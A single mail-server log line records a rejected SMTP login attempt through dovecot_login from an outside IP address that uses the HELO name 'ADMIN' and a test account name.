2026-02-01 07:52:15 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53438: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


